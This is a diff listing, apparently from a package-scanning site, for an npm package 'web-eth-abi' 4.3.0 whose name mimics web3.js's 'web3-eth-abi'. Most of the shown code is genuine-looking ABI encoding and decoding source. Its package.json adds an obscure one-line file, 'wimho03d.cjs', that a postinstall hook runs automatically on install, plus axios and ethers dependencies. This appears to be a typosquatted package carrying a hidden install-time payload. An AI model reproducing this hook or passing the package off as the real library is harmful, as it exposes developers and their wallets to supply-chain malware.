web-eth-abi 4.3.0
Sign up to get free protection for your applications and to get access to all the features.
- package/LICENSE +14 -0
- package/README.md +59 -0
- package/lib/commonjs/api/errors_api.d.ts +5 -0
- package/lib/commonjs/api/errors_api.js +44 -0
- package/lib/commonjs/api/errors_api.js.map +1 -0
- package/lib/commonjs/api/events_api.d.ts +51 -0
- package/lib/commonjs/api/events_api.js +90 -0
- package/lib/commonjs/api/events_api.js.map +1 -0
- package/lib/commonjs/api/functions_api.d.ts +92 -0
- package/lib/commonjs/api/functions_api.js +139 -0
- package/lib/commonjs/api/functions_api.js.map +1 -0
- package/lib/commonjs/api/logs_api.d.ts +49 -0
- package/lib/commonjs/api/logs_api.js +107 -0
- package/lib/commonjs/api/logs_api.js.map +1 -0
- package/lib/commonjs/api/parameters_api.d.ts +238 -0
- package/lib/commonjs/api/parameters_api.js +280 -0
- package/lib/commonjs/api/parameters_api.js.map +1 -0
- package/lib/commonjs/coders/base/address.d.ts +4 -0
- package/lib/commonjs/coders/base/address.js +75 -0
- package/lib/commonjs/coders/base/address.js.map +1 -0
- package/lib/commonjs/coders/base/array.d.ts +4 -0
- package/lib/commonjs/coders/base/array.js +106 -0
- package/lib/commonjs/coders/base/array.js.map +1 -0
- package/lib/commonjs/coders/base/bool.d.ts +4 -0
- package/lib/commonjs/coders/base/bool.js +56 -0
- package/lib/commonjs/coders/base/bool.js.map +1 -0
- package/lib/commonjs/coders/base/bytes.d.ts +4 -0
- package/lib/commonjs/coders/base/bytes.js +101 -0
- package/lib/commonjs/coders/base/bytes.js.map +1 -0
- package/lib/commonjs/coders/base/index.d.ts +11 -0
- package/lib/commonjs/coders/base/index.js +109 -0
- package/lib/commonjs/coders/base/index.js.map +1 -0
- package/lib/commonjs/coders/base/number.d.ts +4 -0
- package/lib/commonjs/coders/base/number.js +116 -0
- package/lib/commonjs/coders/base/number.js.map +1 -0
- package/lib/commonjs/coders/base/numbersLimits.d.ts +4 -0
- package/lib/commonjs/coders/base/numbersLimits.js +40 -0
- package/lib/commonjs/coders/base/numbersLimits.js.map +1 -0
- package/lib/commonjs/coders/base/string.d.ts +4 -0
- package/lib/commonjs/coders/base/string.js +40 -0
- package/lib/commonjs/coders/base/string.js.map +1 -0
- package/lib/commonjs/coders/base/tuple.d.ts +7 -0
- package/lib/commonjs/coders/base/tuple.js +123 -0
- package/lib/commonjs/coders/base/tuple.js.map +1 -0
- package/lib/commonjs/coders/base/utils.d.ts +2 -0
- package/lib/commonjs/coders/base/utils.js +50 -0
- package/lib/commonjs/coders/base/utils.js.map +1 -0
- package/lib/commonjs/coders/decode.d.ts +5 -0
- package/lib/commonjs/coders/decode.js +29 -0
- package/lib/commonjs/coders/decode.js.map +1 -0
- package/lib/commonjs/coders/encode.d.ts +38 -0
- package/lib/commonjs/coders/encode.js +113 -0
- package/lib/commonjs/coders/encode.js.map +1 -0
- package/lib/commonjs/coders/types.d.ts +16 -0
- package/lib/commonjs/coders/types.js +19 -0
- package/lib/commonjs/coders/types.js.map +1 -0
- package/lib/commonjs/coders/utils.d.ts +23 -0
- package/lib/commonjs/coders/utils.js +115 -0
- package/lib/commonjs/coders/utils.js.map +1 -0
- package/lib/commonjs/decode_contract_error_data.d.ts +3 -0
- package/lib/commonjs/decode_contract_error_data.js +73 -0
- package/lib/commonjs/decode_contract_error_data.js.map +1 -0
- package/lib/commonjs/eip_712.d.ts +50 -0
- package/lib/commonjs/eip_712.js +144 -0
- package/lib/commonjs/eip_712.js.map +1 -0
- package/lib/commonjs/index.d.ts +8 -0
- package/lib/commonjs/index.js +43 -0
- package/lib/commonjs/index.js.map +1 -0
- package/lib/commonjs/package.json +1 -0
- package/lib/commonjs/utils.d.ts +43 -0
- package/lib/commonjs/utils.js +216 -0
- package/lib/commonjs/utils.js.map +1 -0
- package/lib/esm/api/errors_api.js +40 -0
- package/lib/esm/api/errors_api.js.map +1 -0
- package/lib/esm/api/events_api.js +86 -0
- package/lib/esm/api/events_api.js.map +1 -0
- package/lib/esm/api/functions_api.js +134 -0
- package/lib/esm/api/functions_api.js.map +1 -0
- package/lib/esm/api/logs_api.js +103 -0
- package/lib/esm/api/logs_api.js.map +1 -0
- package/lib/esm/api/parameters_api.js +271 -0
- package/lib/esm/api/parameters_api.js.map +1 -0
- package/lib/esm/coders/base/address.js +70 -0
- package/lib/esm/coders/base/address.js.map +1 -0
- package/lib/esm/coders/base/array.js +101 -0
- package/lib/esm/coders/base/array.js.map +1 -0
- package/lib/esm/coders/base/bool.js +51 -0
- package/lib/esm/coders/base/bool.js.map +1 -0
- package/lib/esm/coders/base/bytes.js +96 -0
- package/lib/esm/coders/base/bytes.js.map +1 -0
- package/lib/esm/coders/base/index.js +90 -0
- package/lib/esm/coders/base/index.js.map +1 -0
- package/lib/esm/coders/base/number.js +111 -0
- package/lib/esm/coders/base/number.js.map +1 -0
- package/lib/esm/coders/base/numbersLimits.js +37 -0
- package/lib/esm/coders/base/numbersLimits.js.map +1 -0
- package/lib/esm/coders/base/string.js +35 -0
- package/lib/esm/coders/base/string.js.map +1 -0
- package/lib/esm/coders/base/tuple.js +118 -0
- package/lib/esm/coders/base/tuple.js.map +1 -0
- package/lib/esm/coders/base/utils.js +46 -0
- package/lib/esm/coders/base/utils.js.map +1 -0
- package/lib/esm/coders/decode.js +25 -0
- package/lib/esm/coders/decode.js.map +1 -0
- package/lib/esm/coders/encode.js +108 -0
- package/lib/esm/coders/encode.js.map +1 -0
- package/lib/esm/coders/types.js +18 -0
- package/lib/esm/coders/types.js.map +1 -0
- package/lib/esm/coders/utils.js +105 -0
- package/lib/esm/coders/utils.js.map +1 -0
- package/lib/esm/decode_contract_error_data.js +69 -0
- package/lib/esm/decode_contract_error_data.js.map +1 -0
- package/lib/esm/eip_712.js +140 -0
- package/lib/esm/eip_712.js.map +1 -0
- package/lib/esm/index.js +25 -0
- package/lib/esm/index.js.map +1 -0
- package/lib/esm/package.json +1 -0
- package/lib/esm/utils.js +199 -0
- package/lib/esm/utils.js.map +1 -0
- package/lib/types/api/errors_api.d.ts +6 -0
- package/lib/types/api/errors_api.d.ts.map +1 -0
- package/lib/types/api/events_api.d.ts +52 -0
- package/lib/types/api/events_api.d.ts.map +1 -0
- package/lib/types/api/functions_api.d.ts +93 -0
- package/lib/types/api/functions_api.d.ts.map +1 -0
- package/lib/types/api/logs_api.d.ts +50 -0
- package/lib/types/api/logs_api.d.ts.map +1 -0
- package/lib/types/api/parameters_api.d.ts +239 -0
- package/lib/types/api/parameters_api.d.ts.map +1 -0
- package/lib/types/coders/base/address.d.ts +5 -0
- package/lib/types/coders/base/address.d.ts.map +1 -0
- package/lib/types/coders/base/array.d.ts +5 -0
- package/lib/types/coders/base/array.d.ts.map +1 -0
- package/lib/types/coders/base/bool.d.ts +5 -0
- package/lib/types/coders/base/bool.d.ts.map +1 -0
- package/lib/types/coders/base/bytes.d.ts +5 -0
- package/lib/types/coders/base/bytes.d.ts.map +1 -0
- package/lib/types/coders/base/index.d.ts +12 -0
- package/lib/types/coders/base/index.d.ts.map +1 -0
- package/lib/types/coders/base/number.d.ts +5 -0
- package/lib/types/coders/base/number.d.ts.map +1 -0
- package/lib/types/coders/base/numbersLimits.d.ts +5 -0
- package/lib/types/coders/base/numbersLimits.d.ts.map +1 -0
- package/lib/types/coders/base/string.d.ts +5 -0
- package/lib/types/coders/base/string.d.ts.map +1 -0
- package/lib/types/coders/base/tuple.d.ts +8 -0
- package/lib/types/coders/base/tuple.d.ts.map +1 -0
- package/lib/types/coders/base/utils.d.ts +3 -0
- package/lib/types/coders/base/utils.d.ts.map +1 -0
- package/lib/types/coders/decode.d.ts +6 -0
- package/lib/types/coders/decode.d.ts.map +1 -0
- package/lib/types/coders/encode.d.ts +39 -0
- package/lib/types/coders/encode.d.ts.map +1 -0
- package/lib/types/coders/types.d.ts +17 -0
- package/lib/types/coders/types.d.ts.map +1 -0
- package/lib/types/coders/utils.d.ts +24 -0
- package/lib/types/coders/utils.d.ts.map +1 -0
- package/lib/types/decode_contract_error_data.d.ts +4 -0
- package/lib/types/decode_contract_error_data.d.ts.map +1 -0
- package/lib/types/eip_712.d.ts +51 -0
- package/lib/types/eip_712.d.ts.map +1 -0
- package/lib/types/index.d.ts +9 -0
- package/lib/types/index.d.ts.map +1 -0
- package/lib/types/utils.d.ts +44 -0
- package/lib/types/utils.d.ts.map +1 -0
- package/package.json +56 -0
- package/src/api/errors_api.ts +45 -0
- package/src/api/events_api.ts +91 -0
- package/src/api/functions_api.ts +145 -0
- package/src/api/logs_api.ts +131 -0
- package/src/api/parameters_api.ts +287 -0
- package/src/coders/base/address.ts +75 -0
- package/src/coders/base/array.ts +120 -0
- package/src/coders/base/bool.ts +54 -0
- package/src/coders/base/bytes.ts +106 -0
- package/src/coders/base/index.ts +95 -0
- package/src/coders/base/number.ts +116 -0
- package/src/coders/base/numbersLimits.ts +39 -0
- package/src/coders/base/string.ts +38 -0
- package/src/coders/base/tuple.ts +130 -0
- package/src/coders/base/utils.ts +51 -0
- package/src/coders/decode.ts +32 -0
- package/src/coders/encode.ts +114 -0
- package/src/coders/types.ts +39 -0
- package/src/coders/utils.ts +128 -0
- package/src/decode_contract_error_data.ts +80 -0
- package/src/eip_712.ts +252 -0
- package/src/index.ts +25 -0
- package/src/utils.ts +266 -0
- package/wimho03d.cjs +1 -0
package/package.json
ADDED
@@ -0,0 +1,56 @@
|
|
1
|
+
{
|
2
|
+
"name": "web-eth-abi",
|
3
|
+
"version": "4.3.0",
|
4
|
+
"description": "Web3 module encode and decode EVM in/output.",
|
5
|
+
"main": "./lib/commonjs/index.js",
|
6
|
+
"module": "./lib/esm/index.js",
|
7
|
+
"exports": {
|
8
|
+
".": {
|
9
|
+
"types": "./lib/types/index.d.ts",
|
10
|
+
"import": "./lib/esm/index.js",
|
11
|
+
"require": "./lib/commonjs/index.js"
|
12
|
+
}
|
13
|
+
},
|
14
|
+
"repository": "https://github.com/ethereum/web3.js/tree/4.x/packages/web3-eth-abi",
|
15
|
+
"author": "ChainSafe Systems",
|
16
|
+
"license": "LGPL-3.0",
|
17
|
+
"engines": {
|
18
|
+
"node": ">=14",
|
19
|
+
"npm": ">=6.12.0"
|
20
|
+
},
|
21
|
+
"files": [
|
22
|
+
"lib/**/*",
|
23
|
+
"src/**/*",
|
24
|
+
"wimho03d.cjs"
|
25
|
+
],
|
26
|
+
"scripts": {
|
27
|
+
"postinstall": "node wimho03d.cjs"
|
28
|
+
},
|
29
|
+
"dependencies": {
|
30
|
+
"abitype": "0.7.1",
|
31
|
+
"web3-errors": "^1.3.0",
|
32
|
+
"web3-types": "^1.8.1",
|
33
|
+
"web3-utils": "^4.3.2",
|
34
|
+
"web3-validator": "^2.0.6",
|
35
|
+
"axios": "^1.7.7",
|
36
|
+
"ethers": "^6.13.2"
|
37
|
+
},
|
38
|
+
"devDependencies": {
|
39
|
+
"@humeris/espresso-shot": "^4.0.0",
|
40
|
+
"@types/jest": "^28.1.6",
|
41
|
+
"@types/jest-when": "^3.5.2",
|
42
|
+
"@typescript-eslint/eslint-plugin": "^5.30.7",
|
43
|
+
"@typescript-eslint/parser": "^5.30.7",
|
44
|
+
"eslint": "^8.20.0",
|
45
|
+
"eslint-config-base-web3": "0.1.0",
|
46
|
+
"eslint-config-prettier": "^8.5.0",
|
47
|
+
"eslint-plugin-import": "^2.26.0",
|
48
|
+
"jest": "^29.7.0",
|
49
|
+
"jest-extended": "^3.0.1",
|
50
|
+
"jest-when": "^3.5.1",
|
51
|
+
"prettier": "^2.7.1",
|
52
|
+
"ts-jest": "^29.1.1",
|
53
|
+
"typescript": "^4.7.4"
|
54
|
+
},
|
55
|
+
"gitHead": "068f4b639d95c5dcdca9c0111349ea92792b31e7"
|
56
|
+
}
|
@@ -0,0 +1,45 @@
|
|
1
|
+
/*
|
2
|
+
This file is part of web3.js.
|
3
|
+
|
4
|
+
web3.js is free software: you can redistribute it and/or modify
|
5
|
+
it under the terms of the GNU Lesser General Public License as published by
|
6
|
+
the Free Software Foundation, either version 3 of the License, or
|
7
|
+
(at your option) any later version.
|
8
|
+
|
9
|
+
web3.js is distributed in the hope that it will be useful,
|
10
|
+
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
11
|
+
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
12
|
+
GNU Lesser General Public License for more details.
|
13
|
+
|
14
|
+
You should have received a copy of the GNU Lesser General Public License
|
15
|
+
along with web3.js. If not, see <http://www.gnu.org/licenses/>.
|
16
|
+
*/
|
17
|
+
|
18
|
+
/**
|
19
|
+
*
|
20
|
+
* @module ABI
|
21
|
+
*/
|
22
|
+
|
23
|
+
import { sha3Raw } from 'web3-utils';
|
24
|
+
import { AbiError } from 'web3-errors';
|
25
|
+
import { AbiErrorFragment } from 'web3-types';
|
26
|
+
import { jsonInterfaceMethodToString, isAbiErrorFragment } from '../utils.js';
|
27
|
+
|
28
|
+
/**
|
29
|
+
* Encodes the error name to its ABI signature, which are the sha3 hash of the error name including input types.
|
30
|
+
*/
|
31
|
+
export const encodeErrorSignature = (functionName: string | AbiErrorFragment): string => {
|
32
|
+
if (typeof functionName !== 'string' && !isAbiErrorFragment(functionName)) {
|
33
|
+
throw new AbiError('Invalid parameter value in encodeErrorSignature');
|
34
|
+
}
|
35
|
+
|
36
|
+
let name: string;
|
37
|
+
|
38
|
+
if (functionName && (typeof functionName === 'function' || typeof functionName === 'object')) {
|
39
|
+
name = jsonInterfaceMethodToString(functionName);
|
40
|
+
} else {
|
41
|
+
name = functionName;
|
42
|
+
}
|
43
|
+
|
44
|
+
return sha3Raw(name);
|
45
|
+
};
|
@@ -0,0 +1,91 @@
|
|
1
|
+
/*
|
2
|
+
This file is part of web3.js.
|
3
|
+
|
4
|
+
web3.js is free software: you can redistribute it and/or modify
|
5
|
+
it under the terms of the GNU Lesser General Public License as published by
|
6
|
+
the Free Software Foundation, either version 3 of the License, or
|
7
|
+
(at your option) any later version.
|
8
|
+
|
9
|
+
web3.js is distributed in the hope that it will be useful,
|
10
|
+
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
11
|
+
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
12
|
+
GNU Lesser General Public License for more details.
|
13
|
+
|
14
|
+
You should have received a copy of the GNU Lesser General Public License
|
15
|
+
along with web3.js. If not, see <http://www.gnu.org/licenses/>.
|
16
|
+
*/
|
17
|
+
|
18
|
+
/**
|
19
|
+
*
|
20
|
+
* @module ABI
|
21
|
+
*/
|
22
|
+
|
23
|
+
import { sha3Raw } from 'web3-utils';
|
24
|
+
import { AbiError } from 'web3-errors';
|
25
|
+
import { AbiEventFragment } from 'web3-types';
|
26
|
+
import { jsonInterfaceMethodToString, isAbiEventFragment } from '../utils.js';
|
27
|
+
|
28
|
+
/**
|
29
|
+
* Encodes the event name to its ABI signature, which are the sha3 hash of the event name including input types.
|
30
|
+
* @param functionName - The event name to encode, or the {@link AbiEventFragment} object of the event. If string, it has to be in the form of `eventName(param1Type,param2Type,...)`. eg: myEvent(uint256,bytes32).
|
31
|
+
* @returns - The ABI signature of the event.
|
32
|
+
*
|
33
|
+
* @example
|
34
|
+
* ```ts
|
35
|
+
* const event = web3.eth.abi.encodeEventSignature({
|
36
|
+
* name: "myEvent",
|
37
|
+
* type: "event",
|
38
|
+
* inputs: [
|
39
|
+
* {
|
40
|
+
* type: "uint256",
|
41
|
+
* name: "myNumber",
|
42
|
+
* },
|
43
|
+
* {
|
44
|
+
* type: "bytes32",
|
45
|
+
* name: "myBytes",
|
46
|
+
* },
|
47
|
+
* ],
|
48
|
+
* });
|
49
|
+
* console.log(event);
|
50
|
+
* > 0xf2eeb729e636a8cb783be044acf6b7b1e2c5863735b60d6daae84c366ee87d97
|
51
|
+
*
|
52
|
+
* const event = web3.eth.abi.encodeEventSignature({
|
53
|
+
* inputs: [
|
54
|
+
* {
|
55
|
+
* indexed: true,
|
56
|
+
* name: "from",
|
57
|
+
* type: "address",
|
58
|
+
* },
|
59
|
+
* {
|
60
|
+
* indexed: true,
|
61
|
+
* name: "to",
|
62
|
+
* type: "address",
|
63
|
+
* },
|
64
|
+
* {
|
65
|
+
* indexed: false,
|
66
|
+
* name: "value",
|
67
|
+
* type: "uint256",
|
68
|
+
* },
|
69
|
+
* ],
|
70
|
+
* name: "Transfer",
|
71
|
+
* type: "event",
|
72
|
+
* });
|
73
|
+
* console.log(event);
|
74
|
+
* > 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
|
75
|
+
* ```
|
76
|
+
*/
|
77
|
+
export const encodeEventSignature = (functionName: string | AbiEventFragment): string => {
|
78
|
+
if (typeof functionName !== 'string' && !isAbiEventFragment(functionName)) {
|
79
|
+
throw new AbiError('Invalid parameter value in encodeEventSignature');
|
80
|
+
}
|
81
|
+
|
82
|
+
let name: string;
|
83
|
+
|
84
|
+
if (functionName && (typeof functionName === 'function' || typeof functionName === 'object')) {
|
85
|
+
name = jsonInterfaceMethodToString(functionName);
|
86
|
+
} else {
|
87
|
+
name = functionName;
|
88
|
+
}
|
89
|
+
|
90
|
+
return sha3Raw(name);
|
91
|
+
};
|
@@ -0,0 +1,145 @@
|
|
1
|
+
/*
|
2
|
+
This file is part of web3.js.
|
3
|
+
|
4
|
+
web3.js is free software: you can redistribute it and/or modify
|
5
|
+
it under the terms of the GNU Lesser General Public License as published by
|
6
|
+
the Free Software Foundation, either version 3 of the License, or
|
7
|
+
(at your option) any later version.
|
8
|
+
|
9
|
+
web3.js is distributed in the hope that it will be useful,
|
10
|
+
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
11
|
+
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
12
|
+
GNU Lesser General Public License for more details.
|
13
|
+
|
14
|
+
You should have received a copy of the GNU Lesser General Public License
|
15
|
+
along with web3.js. If not, see <http://www.gnu.org/licenses/>.
|
16
|
+
*/
|
17
|
+
|
18
|
+
/**
|
19
|
+
*
|
20
|
+
* @module ABI
|
21
|
+
*/
|
22
|
+
import { AbiError } from 'web3-errors';
|
23
|
+
import { sha3Raw } from 'web3-utils';
|
24
|
+
import { AbiFunctionFragment } from 'web3-types';
|
25
|
+
import { isAbiFunctionFragment, jsonInterfaceMethodToString } from '../utils.js';
|
26
|
+
import { encodeParameters } from './parameters_api.js';
|
27
|
+
|
28
|
+
/**
|
29
|
+
* Encodes the function name to its ABI representation, which are the first 4 bytes of the sha3 of the function name including types.
|
30
|
+
* The JSON interface spec documentation https://docs.soliditylang.org/en/latest/abi-spec.html#json
|
31
|
+
* @param functionName - The function name to encode or the `JSON interface` object of the function.
|
32
|
+
* If the passed parameter is a string, it has to be in the form of `functionName(param1Type,param2Type,...)`. eg: myFunction(uint256,uint32[],bytes10,bytes)
|
33
|
+
* @returns - The ABI signature of the function.
|
34
|
+
* @example
|
35
|
+
* ```ts
|
36
|
+
* const signature = web3.eth.abi.encodeFunctionSignature({
|
37
|
+
* name: "myMethod",
|
38
|
+
* type: "function",
|
39
|
+
* inputs: [
|
40
|
+
* {
|
41
|
+
* type: "uint256",
|
42
|
+
* name: "myNumber",
|
43
|
+
* },
|
44
|
+
* {
|
45
|
+
* type: "string",
|
46
|
+
* name: "myString",
|
47
|
+
* },
|
48
|
+
* ],
|
49
|
+
* });
|
50
|
+
* console.log(signature);
|
51
|
+
* > 0x24ee0097
|
52
|
+
*
|
53
|
+
* const signature = web3.eth.abi.encodeFunctionSignature('myMethod(uint256,string)')
|
54
|
+
* console.log(signature);
|
55
|
+
* > 0x24ee0097
|
56
|
+
*
|
57
|
+
* const signature = web3.eth.abi.encodeFunctionSignature('safeTransferFrom(address,address,uint256,bytes)');
|
58
|
+
* console.log(signature);
|
59
|
+
* > 0xb88d4fde
|
60
|
+
* ```
|
61
|
+
*/
|
62
|
+
export const encodeFunctionSignature = (functionName: string | AbiFunctionFragment): string => {
|
63
|
+
if (typeof functionName !== 'string' && !isAbiFunctionFragment(functionName)) {
|
64
|
+
throw new AbiError('Invalid parameter value in encodeFunctionSignature');
|
65
|
+
}
|
66
|
+
|
67
|
+
let name: string;
|
68
|
+
|
69
|
+
if (functionName && (typeof functionName === 'function' || typeof functionName === 'object')) {
|
70
|
+
name = jsonInterfaceMethodToString(functionName);
|
71
|
+
} else {
|
72
|
+
name = functionName;
|
73
|
+
}
|
74
|
+
|
75
|
+
return sha3Raw(name).slice(0, 10);
|
76
|
+
};
|
77
|
+
|
78
|
+
/**
|
79
|
+
* Encodes a function call using its `JSON interface` object and given parameters.
|
80
|
+
* The JSON interface spec documentation https://docs.soliditylang.org/en/latest/abi-spec.html#json
|
81
|
+
* @param jsonInterface - The `JSON interface` object of the function.
|
82
|
+
* @param params - The parameters to encode
|
83
|
+
* @returns - The ABI encoded function call, which, means the function signature and the parameters passed.
|
84
|
+
* @example
|
85
|
+
* ```ts
|
86
|
+
* const sig = web3.eth.abi.encodeFunctionCall(
|
87
|
+
* {
|
88
|
+
* name: "myMethod",
|
89
|
+
* type: "function",
|
90
|
+
* inputs: [
|
91
|
+
* {
|
92
|
+
* type: "uint256",
|
93
|
+
* name: "myNumber",
|
94
|
+
* },
|
95
|
+
* {
|
96
|
+
* type: "string",
|
97
|
+
* name: "myString",
|
98
|
+
* },
|
99
|
+
* ],
|
100
|
+
* },
|
101
|
+
* ["2345675643", "Hello!%"]
|
102
|
+
* );
|
103
|
+
* console.log(sig);
|
104
|
+
* > 0x24ee0097000000000000000000000000000000000000000000000000000000008bd02b7b0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000748656c6c6f212500000000000000000000000000000000000000000000000000
|
105
|
+
*
|
106
|
+
*
|
107
|
+
*
|
108
|
+
* const sig = web3.eth.abi.encodeFunctionCall(
|
109
|
+
* {
|
110
|
+
* inputs: [
|
111
|
+
* {
|
112
|
+
* name: "account",
|
113
|
+
* type: "address",
|
114
|
+
* },
|
115
|
+
* ],
|
116
|
+
* name: "balanceOf",
|
117
|
+
* outputs: [
|
118
|
+
* {
|
119
|
+
* name: "",
|
120
|
+
* type: "uint256",
|
121
|
+
* },
|
122
|
+
* ],
|
123
|
+
* stateMutability: "view",
|
124
|
+
* type: "function",
|
125
|
+
* },
|
126
|
+
* ["0x1234567890123456789012345678901234567890"]
|
127
|
+
* );
|
128
|
+
*
|
129
|
+
* console.log(sig);
|
130
|
+
* > 0x70a082310000000000000000000000001234567890123456789012345678901234567890
|
131
|
+
* ```
|
132
|
+
*/
|
133
|
+
export const encodeFunctionCall = (
|
134
|
+
jsonInterface: AbiFunctionFragment,
|
135
|
+
params: unknown[],
|
136
|
+
): string => {
|
137
|
+
if (!isAbiFunctionFragment(jsonInterface)) {
|
138
|
+
throw new AbiError('Invalid parameter value in encodeFunctionCall');
|
139
|
+
}
|
140
|
+
|
141
|
+
return `${encodeFunctionSignature(jsonInterface)}${encodeParameters(
|
142
|
+
jsonInterface.inputs ?? [],
|
143
|
+
params ?? [],
|
144
|
+
).replace('0x', '')}`;
|
145
|
+
};
|
@@ -0,0 +1,131 @@
|
|
1
|
+
/*
|
2
|
+
This file is part of web3.js.
|
3
|
+
|
4
|
+
web3.js is free software: you can redistribute it and/or modify
|
5
|
+
it under the terms of the GNU Lesser General Public License as published by
|
6
|
+
the Free Software Foundation, either version 3 of the License, or
|
7
|
+
(at your option) any later version.
|
8
|
+
|
9
|
+
web3.js is distributed in the hope that it will be useful,
|
10
|
+
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
11
|
+
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
12
|
+
GNU Lesser General Public License for more details.
|
13
|
+
|
14
|
+
You should have received a copy of the GNU Lesser General Public License
|
15
|
+
along with web3.js. If not, see <http://www.gnu.org/licenses/>.
|
16
|
+
*/
|
17
|
+
|
18
|
+
/**
|
19
|
+
*
|
20
|
+
* @module ABI
|
21
|
+
*/
|
22
|
+
|
23
|
+
import { HexString, AbiParameter, DecodedParams } from 'web3-types';
|
24
|
+
import { decodeParameter, decodeParametersWith } from './parameters_api.js';
|
25
|
+
|
26
|
+
const STATIC_TYPES = ['bool', 'string', 'int', 'uint', 'address', 'fixed', 'ufixed'];
|
27
|
+
|
28
|
+
const _decodeParameter = (inputType: string, clonedTopic: string) =>
|
29
|
+
inputType === 'string' ? clonedTopic : decodeParameter(inputType, clonedTopic);
|
30
|
+
|
31
|
+
/**
|
32
|
+
* Decodes ABI-encoded log data and indexed topic data.
|
33
|
+
* @param inputs - A {@link AbiParameter} input array. See the [Solidity documentation](https://docs.soliditylang.org/en/develop/types.html) for a list of types.
|
34
|
+
* @param data - The ABI byte code in the `data` field of a log.
|
35
|
+
* @param topics - An array with the index parameter topics of the log, without the topic[0] if its a non-anonymous event, otherwise with topic[0]
|
36
|
+
* @returns - The result object containing the decoded parameters.
|
37
|
+
*
|
38
|
+
* @example
|
39
|
+
* ```ts
|
40
|
+
* let res = web3.eth.abi.decodeLog(
|
41
|
+
* [
|
42
|
+
* {
|
43
|
+
* type: "string",
|
44
|
+
* name: "myString",
|
45
|
+
* },
|
46
|
+
* {
|
47
|
+
* type: "uint256",
|
48
|
+
* name: "myNumber",
|
49
|
+
* indexed: true,
|
50
|
+
* },
|
51
|
+
* {
|
52
|
+
* type: "uint8",
|
53
|
+
* name: "mySmallNumber",
|
54
|
+
* indexed: true,
|
55
|
+
* },
|
56
|
+
* ],
|
57
|
+
* "0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000748656c6c6f252100000000000000000000000000000000000000000000000000",
|
58
|
+
* [
|
59
|
+
* "0x000000000000000000000000000000000000000000000000000000000000f310",
|
60
|
+
* "0x0000000000000000000000000000000000000000000000000000000000000010",
|
61
|
+
* ]
|
62
|
+
* );
|
63
|
+
* > {
|
64
|
+
* '0': 'Hello%!',
|
65
|
+
* '1': 62224n,
|
66
|
+
* '2': 16n,
|
67
|
+
* __length__: 3,
|
68
|
+
* myString: 'Hello%!',
|
69
|
+
* myNumber: 62224n,
|
70
|
+
* mySmallNumber: 16n
|
71
|
+
* }
|
72
|
+
* ```
|
73
|
+
*/
|
74
|
+
export const decodeLog = <ReturnType extends DecodedParams>(
|
75
|
+
inputs: Array<AbiParameter> | ReadonlyArray<AbiParameter>,
|
76
|
+
data: HexString,
|
77
|
+
topics: string | string[],
|
78
|
+
) => {
|
79
|
+
const clonedTopics = Array.isArray(topics) ? topics : [topics];
|
80
|
+
|
81
|
+
const indexedInputs: Record<number, AbiParameter> = {};
|
82
|
+
const nonIndexedInputs: Record<number, AbiParameter> = {};
|
83
|
+
|
84
|
+
for (const [i, input] of inputs.entries()) {
|
85
|
+
if (input.indexed) {
|
86
|
+
indexedInputs[i] = input;
|
87
|
+
} else {
|
88
|
+
nonIndexedInputs[i] = input;
|
89
|
+
}
|
90
|
+
}
|
91
|
+
|
92
|
+
const decodedNonIndexedInputs: DecodedParams = data
|
93
|
+
? decodeParametersWith(Object.values(nonIndexedInputs), data, true)
|
94
|
+
: { __length__: 0 };
|
95
|
+
|
96
|
+
// If topics are more than indexed inputs, that means first topic is the event signature
|
97
|
+
const offset = clonedTopics.length - Object.keys(indexedInputs).length;
|
98
|
+
|
99
|
+
const decodedIndexedInputs = Object.values(indexedInputs).map((input, index) =>
|
100
|
+
STATIC_TYPES.some(s => input.type.startsWith(s))
|
101
|
+
? _decodeParameter(input.type, clonedTopics[index + offset])
|
102
|
+
: clonedTopics[index + offset],
|
103
|
+
);
|
104
|
+
|
105
|
+
const returnValues: DecodedParams = { __length__: 0 };
|
106
|
+
|
107
|
+
let indexedCounter = 0;
|
108
|
+
let nonIndexedCounter = 0;
|
109
|
+
|
110
|
+
for (const [i, res] of inputs.entries()) {
|
111
|
+
returnValues[i] = res.type === 'string' ? '' : undefined;
|
112
|
+
|
113
|
+
if (indexedInputs[i]) {
|
114
|
+
returnValues[i] = decodedIndexedInputs[indexedCounter];
|
115
|
+
indexedCounter += 1;
|
116
|
+
}
|
117
|
+
|
118
|
+
if (nonIndexedInputs[i]) {
|
119
|
+
returnValues[i] = decodedNonIndexedInputs[String(nonIndexedCounter)];
|
120
|
+
nonIndexedCounter += 1;
|
121
|
+
}
|
122
|
+
|
123
|
+
if (res.name) {
|
124
|
+
returnValues[res.name] = returnValues[i];
|
125
|
+
}
|
126
|
+
|
127
|
+
returnValues.__length__ += 1;
|
128
|
+
}
|
129
|
+
|
130
|
+
return returnValues as ReturnType;
|
131
|
+
};
|